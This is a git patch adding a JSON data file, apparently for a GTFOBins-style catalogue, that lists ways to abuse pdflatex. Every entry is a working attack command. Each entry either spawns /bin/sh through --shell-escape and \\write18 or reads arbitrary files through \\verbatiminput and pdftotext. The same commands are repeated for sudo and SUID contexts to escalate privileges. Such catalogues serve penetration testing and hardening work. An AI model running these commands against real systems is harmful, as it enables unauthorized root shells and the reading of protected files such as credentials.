From 497db81fe31cb0d6e2f5243ca8903407930c042b Mon Sep 17 00:00:00 2001 From: "Mr. Robot" Date: Sun, 2 May 2021 14:05:01 +0200 Subject: [PATCH] add data source for pdflatex --- data/pdflatex.json | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 data/pdflatex.json diff --git a/data/pdflatex.json b/data/pdflatex.json new file mode 100644 index 0000000..b2e8c7d --- /dev/null +++ b/data/pdflatex.json @@ -0,0 +1,29 @@ +{ + "functions": { + "shell": [ + { + "code": "pdflatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n" + } + ], + "file-read": [ + { + "description": "The read file will be part of the output.", + "code": "pdflatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\npdftotext article.pdf -\n" + } + ], + "sudo": [ + { + "description": "The read file will be part of the output.", + "code": "sudo pdflatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\npdftotext article.pdf -\n" + }, + { + "code": "sudo pdflatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n" + } + ], + "limited-suid": [ + { + "code": "./pdflatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n" + } + ] + } +}